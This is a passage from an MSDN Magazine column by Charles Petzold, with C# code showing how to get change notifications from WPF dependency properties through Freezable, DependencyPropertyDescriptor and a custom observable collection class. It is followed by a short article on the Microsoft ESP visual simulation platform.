The big problem is that this Changed event is based on the EventHandler delegate and provides no information at all about exactly which property (or sub-property) in the Freezable object has changed. There is also a lot of overhead in these notifications, and that's why the Freezable class is named for its ability to become unchangeable and make all the notifications disappear.
Freezable is used extensively in the WPF graphics system. The Brush, Pen, Geometry, and Drawing classes all derive from Freezable. Several collections derive from Freezable, including DoubleCollection, PointCollection, VectorCollection, and Int32Collection. These collections also implement Changed events that are fired when the collection changes. Other Freezable collections that are collections of Freezable objects (such as GeometryCollection and TransformCollection) fire the Changed event whenever any property or sub-property of an item in the collection changes.
For example, PathGeometry derives from Freezable. It contains a Figures property of type PathFigureCollection, which also derives from Freezable. The PathFigureCollection contains objects of type PathFigure, which also derives from Freezable. PathFigure contains a property named Segments of type PathSegmentCollection, also a Freezable. PathSegment derives from Freezable and is the base class for classes like PolyLineSegment and PolyBezierSegment. These classes contain properties named Points of type PointCollection, which also derives from Freezable.
The overall effect: when any individual point is changed, change notifications go rippling up the object hierarchy and cause the graphical object to be entirely redrawn.
Does PathGeometry attempt to figure out exactly which point has changed and fix only that part of the geometry? In other words, does it perform an incremental update? Judging by the information it has available, it simply cannot. All that PathGeometry knows is that something has changed and it's time to start over from scratch.
If this is what you want—a simple notification that something has changed somewhere in a collection of nested sub-properties—the Freezable class may be ideal. There is also a generic FreezableCollection<T> that is useful. The type parameter doesn't have to be a Freezable type. It merely needs to be a DependencyObject. But if it's a Freezable type, the collection will fire Changed events for changes in the properties or Freezable sub-properties of the collection items.
Keep in mind that there are certain restrictions with Freezable classes. If you derive a class from FreezableCollection<T>, you must override CreateInstanceCore (and simply call the class's constructor and return that object) or you'll get strange errors that will drive you batty.

Using DependencyPropertyDescriptor
A third technique to get notification events from dependency properties involves the DependencyPropertyDescriptor class. It's certainly not an obvious solution because it's documented as being "primarily used by designer applications," but it works and that is what's important.
Suppose again you have an object of type TextBlock and you want to know when the Text property changes. You first create an object of type DependencyPropertyDescriptor:
DepedencyPropertyDescriptor descriptor =
  DependencyPropertyDescriptor.FromProperty(
  TextBlock.TextProperty, typeof(TextBlock));
The first argument is the DependencyProperty object and the second is the class that owns that dependency property or inherits it. Notice that the DependencyPropertyDescriptor is not associated with any particular TextBlock object.
You are then able to register a handler to detect changes in the Text property for a particular TextBlock object (named txtblk, for example):
descriptor.AddValueChanged(txtblk, OnTextChanged);
Remember that there is also a RemoveValueChanged method to remove the handler.
The OnTextChanged handler is based on the simple EventHandler delegate signature and will probably be defined something like this:
void OnTextChanged(object sender, EventArgs args) {
  ...
}
Note that the EventArgs argument doesn't provide any information. However, the first argument to the handler is the TextBlock object whose Text value has changed.
You won't want to share these handlers among multiple dependency properties—you'll want a separate handler for each. But you can easily share these handlers among multiple objects because you can distinguish the objects by the first argument to the handler.
There is now sufficient information present to allow the final step, which is to build a collection that fires notifications when dependency properties of items in the collection change.

Collections of DependencyObjects
In theory, if you have a collection of objects of a type that derives from DependencyObject, you should be able to create DependencyPropertyDescriptor objects for particular dependency properties that allow you to be notified whenever these properties change on any item in the collection.
One obstacle involves the method that handles notifications from DependencyPropertyDescriptor. You won't want to share one method among multiple dependency properties because you can't tell which dependency property has changed. You'll want separate methods for each dependency property. In general, the number of methods you'll need won't be available until run time. You can create methods dynamically at run time, but that involves generating intermediate language. It's easier defining a class with a method specifically for handling these notifications and then to create an instance of this class for each dependency property you want to monitor.
I created the ObservableDependencyObjectCollection<T> collection class to do this, and it derives from ObservableCollection<T>. Note that the items in this collection must be instances of a class that derives from DependencyObject. The collection class creates DependencyPropertyDescriptor objects for each DependencyProperty defined or inherited by that type parameter or, alternatively, for a selected list of DependencyProperty objects.
ObservableDependencyObjectCollection<T> defines a new event named ItemDependencyPropertyChanged. Figure 4 shows the definition of the event arguments and the delegate for this event. ItemDependencyPropertyChangedEventArgs is similar to the normal DependencyPropertyChangedEventArgs except that it includes an Item property and no OldValue property.
Figure 4 ItemDependencyPropertyChangedEventArgs
public struct ItemDependencyPropertyChangedEventArgs {
  DependencyObject item;
  DependencyProperty property;
  object newValue;

  public ItemDependencyPropertyChangedEventArgs(
    DependencyObject item,
    DependencyProperty property,
    object newValue) {

    this.item = item;
    this.property = property;
    this.newValue = newValue;
  }

  public DependencyObject Item {
    get { return item; }
  }

  public DependencyProperty Property {
    get { return property; }
  }

  public object NewValue {
    get { return newValue; }
  }
}

public delegate void ItemDependencyPropertyChangedEventHandler(
  Object sender,
  ItemDependencyPropertyChangedEventArgs args);
I will show you the actual ObservableDependencyObjectCollection<T> class in three installments. The first part of the class is shown in Figure 5. Although the class derives from ObservableCollection<T>, it constrains the type parameter to DependencyObject. ObservableCollection<T> has two constructors: one parameterless and one with a generic List<T> object for initializing the contents. The new class includes those two constructors, but it adds two more that additionally let you specify a list of DependencyProperty objects you want to monitor.
For example, suppose you want a collection of Button objects, but you only want to be notified when two font-related properties change. Here's the constructor:
ObservableDependencyObjectCollection<Button> buttons =
  new ObservableDependencyObjectCollection(
  Button.FontSize, Button.FontFamily);
You can then install a handler for the collection:
buttons.ItemDependencyPropertyChanged +=
  OnItemDependencyPropertyChanged;
All the constructors in Figure 5 end up calling either GetExplicitDependencyProperties or GetAllDependencyProperties. The first method just calls CreateDescriptor for each of the DependencyProperty objects listed in the constructor arguments. The second method uses reflection to obtain all the public fields of type DependencyProperty defined by both the type parameter and its ancestors (that's what BindingFlags.FlattenHierarchy means) and then calls CreateDescriptor for each.
Figure 5 The ObservableDependencyObjectCollection<T> Constructors
public class ObservableDependencyObjectCollection<T> :
  ObservableCollection<T> where T : DependencyObject {

  public event ItemDependencyPropertyChangedEventHandler
    ItemDependencyPropertyChanged;

  List<DescriptorWrapper> descriptors = new List<DescriptorWrapper>();

  public ObservableDependencyObjectCollection() {
    GetAllDependencyProperties();
  }

  public ObservableDependencyObjectCollection(List<T> list) : base(list) {
    GetAllDependencyProperties();
  }

  public ObservableDependencyObjectCollection(
    params DependencyProperty[] properties) {

    GetExplicitDependencyProperties(properties);
  }

  public ObservableDependencyObjectCollection(List<T> list,
    params DependencyProperty[] properties) : base(list) {

    GetExplicitDependencyProperties(properties);
  }

  void GetExplicitDependencyProperties(
    params DependencyProperty[] properties) {

    foreach (DependencyProperty property in properties)
      CreateDescriptor(property);
  }

  void GetAllDependencyProperties() {
    FieldInfo[] fieldInfos =
      typeof(T).GetFields(BindingFlags.Public |
                          BindingFlags.Static |
                BindingFlags.FlattenHierarchy);

    foreach (FieldInfo fieldInfo in fieldInfos)
      if (fieldInfo.FieldType == typeof(DependencyProperty))
        CreateDescriptor(fieldInfo.GetValue(null) as DependencyProperty);
  }

  void CreateDescriptor(DependencyProperty property) {
    DescriptorWrapper descriptor =
      new DescriptorWrapper(typeof(T), property,
      OnItemDependencyPropertyChanged);
      descriptors.Add(descriptor);
  }
Each call to the CreateDescriptor method creates a new object of type DescriptorWrapper, passing to it the type of the items in the collection, the DependencyProperty to be monitored, and a callback method named OnItemDependencyPropertyChanged.
The DescriptorWrapper class that is shown in Figure 6 is internal to ObservableDependencyObjectCollection<T> and essentially wraps a DependencyPropertyDescriptor object. The constructor saves the particular DependencyProperty associated with this DependencyPropertyDescriptor and the callback method.
Figure 6 The DescriptorWrapper Class
class DescriptorWrapper {
  DependencyPropertyChangedEventHandler
    OnItemDependencyPropertyChanged;
  DependencyPropertyDescriptor desc;
  DependencyProperty dependencyProperty;

  public DescriptorWrapper(Type targetType,
    DependencyProperty dependencyProperty,
    DependencyPropertyChangedEventHandler
    OnItemDependencyPropertyChanged) {

    desc = DependencyPropertyDescriptor.FromProperty(
      dependencyProperty, targetType);
    this.dependencyProperty = dependencyProperty;
    this.OnItemDependencyPropertyChanged =
      OnItemDependencyPropertyChanged;
  }

  public void AddValueChanged(DependencyObject dependencyObject) {
    desc.AddValueChanged(dependencyObject, OnValueChanged);
  }

  public void RemoveValueChanged(DependencyObject dependencyObject) {
    desc.RemoveValueChanged(dependencyObject, OnValueChanged);
  }

  void OnValueChanged(object sender, EventArgs args) {
    OnItemDependencyPropertyChanged(sender,
      new DependencyPropertyChangedEventArgs(
      dependencyProperty,
      null,
      (sender as DependencyObject).GetValue(
      dependencyProperty)));
  }
}
The class also includes two methods named AddValueChanged and RemoveValueChanged that call the corresponding methods in the DependencyPropertyDescriptor object. The OnValueChanged handler funnels the information back to the collection class.
The final section of the ObservableDependencyObjectCollection<T> class is shown in Figure 7. The override of the OnCollectionChanged method is responsible for looping through all the items being added to the collection (and each DescriptorWrapper) and calling AddValueChanged. The handlers are removed for every item removed from the collection.
Figure 7 ObservableDependencyObjectCollection<T>
protected override void OnCollectionChanged(
  NotifyCollectionChangedEventArgs args) {

  base.OnCollectionChanged(args);

  if (args.NewItems != null)
    foreach (DependencyObject obj in args.NewItems)
      foreach (DescriptorWrapper descriptor in descriptors)
        descriptor.AddValueChanged(obj);

  if (args.OldItems != null)
    foreach (DependencyObject obj in args.OldItems)
      foreach (DescriptorWrapper descriptor in descriptors)
        descriptor.RemoveValueChanged(obj);
}

protected void OnItemDependencyPropertyChanged(object item,
  DependencyPropertyChangedEventArgs args) {

  if (ItemDependencyPropertyChanged != null)
    ItemDependencyPropertyChanged(this,
      new ItemDependencyPropertyChangedEventArgs(
      item as DependencyObject,
      args.Property, args.NewValue));
}
The OnItemDependencyPropertyChanged method that concludes the ObservableDependencyObjectCollection<T> class is called from DescriptorWrapper and fires the ItemDependencyPropertyChanged event, which is the purpose of this entire exercise.
The ObservableDependencyObjectCollection<T> class is structured so that it creates all the DescriptorWrapper objects it needs at the time the collection is constructed based on the type parameter. If you specify this type parameter as DependencyObject and use the parameterless constructor, no DescriptorWrapper objects will be created because DependencyObject defines no dependency properties of its own. However, you can specify the type parameter as DependencyObject and include an explicit list of DependencyProperty objects and the notifications will work.
In a more realistic scenario, you might want to set the type parameter of ObservableDependencyObjectCollection<T> to FrameworkElement and then fill the collection with all sorts of derivatives of FrameworkElement, such as TextBlock and Button. The collection will only report changes in dependency properties defined by UIElement and FrameworkElement and not those defined by derivative classes.
For more flexibility, the collection must be written to create new DescriptorWrapper objects as items are added, based on the types of those items and the dependency properties defined by those types. You don't want to create duplicate DescriptorWrapper objects, so you'll need to check whether a DescriptorWrapper has already been created for each particular dependency property first.
As items are removed from the collection, you will want to abandon DescriptorWrapper objects that are no longer needed. This implies that a usage count should be attached to each DescriptorWrapper, and a certain DescriptorWrapper should be removed from the descriptors collection in ObservableDependencyObjectCollection<T> when the usage count drops to zero.
It would also be possible to create a collection class that is completely flexible and that monitors the properties of all its items, regardless of whether the items define dependency properties or implement the INotifyPropertyChanged interface.
As you can see, treated properly, even dependency properties can be taught to generate events just like their older predecessors in the Microsoft® .NET Framework.

Send your questions and comments to mmnet30@microsoft.com.

Charles Petzold is a Contributing Editor to MSDN Magazine. His most recent book is The Annotated Turing: A Guided Tour through Alan Turing's Historic Paper on Computability and the Turing Machine.


{ End Bracket }
A New Era In Visual Simulation
Todd Landstad

Microsoft® ESP™ delivers a full, all-in-one visual simulation platform—a simulation engine, software development tools, and extensive realistic world content—that enables developers to create compelling simulations using 3D modeling tools, the Microsoft .NET Framework, C++, and XML-based training missions. The ESP simulation engine, the same one on which Microsoft Flight Simulator is built, handles the visual rendering, physics, a 5.1 Surround Sound engine, and other environmental capabilities.
Although the ESP v1.0 core technology heritage is deeply rooted in the flight industry, the future of PC-based simulation has huge potential in many areas, including human interaction, ground- and ocean-based vehicle training, and geographic and spatial navigation. These advancements come in addition to the already-tested aviation scenarios that include training for pilots and air traffic controllers.
ESP-based training could include teaching physics concepts, taking people on landmark tours, or instructing a pilot on a new airport approach. With each of these examples, students can gain new experiences while participating in 3D modeling tests in a comfortable, familiar environment that minimizes fuel and maintenance costs and eliminates the risk associated with real-world training.
The ESP platform contains four separate development kits:
The Core Utilities Kit With an API for .NET or C++ applications to interact with the platform, the Core Utilities Kit allows a developer to set environment details such as weather or aircraft state. The kit includes the ability to create AI-driven objects or place static scenery. There are more than 200 variables available to be queried or set inside the simulation.
The Environment Kit Developers can augment the living world within the platform utilizing the Environment Kit. High-resolution land textures and 3D buildings can be imported or changed using utilities provided in the SDK. In addition to static objects, dynamic special effects can be added to a specific location in the living world, such as fireworks, water fountains, or lightning.
The Mission Creation Kit Structured training experiences that guide the user through customized, goal-oriented training are possible with the Mission Creation Kit. A developer can use the included editor to create the XML-based scripted missions or combine missions with the Core Utilities API to add .NET or C++ code to interact with the training. You can combine the structured experiences with multi-user support along with a Shared Cockpit mode, which allows you to "virtually" sit with another user in the same aircraft for networked situations, communicating through built-in Voice over IP (VoIP).
ESP Delivers Flight Simulation
The SimObject Kit Importing high-resolution aircraft models using traditional modeling tools is enabled by the SimObject Kit. Imported 3D models for aircraft, vehicles, ships, or other objects can include animations and customized textures as well as detailed interiors. The model interiors can have XML- or code-based gauges and realistic panels.
The ESP virtual world uses many data sources to create a detailed representation of the Earth complete with land and ocean classifications, regional architecture, scenery, and generated AI traffic. Above the Earth's surface, real-world weather conditions are represented. ESP accurately places the sun, the moon, and more than 10,000 stars based on the simulation engine's continuous time-of-day capability.
Using the various components of the ESP SDK, a developer can customize the world to meet the needs of his solution while relying on the content, simulation engine, and environment to provide the minutia—generating fog when the local temperature drops below the dew point, for example.
ESP draws on its aviation expertise and focuses on training and learning solutions, decision-support scenarios (such as disaster planning or black-box data review), and R&D modeling. A developer can transform computer-based training from checkboxes and radio buttons to a customized immersive experience that is more effective and memorable.
You can find more specific information on the simulation platform at the MSDN® Developer Center for Microsoft ESP (see msdn.microsoft.com/esp). It includes documentation, white papers, tutorials, code samples, videos, and webcasts. It also highlights the passion of the modeling and simulation community.
Todd Landstad works as a Developer Evangelist for ACES Studio at Microsoft. He joined Microsoft in 1995 and has worked on a variety of software and hardware platforms.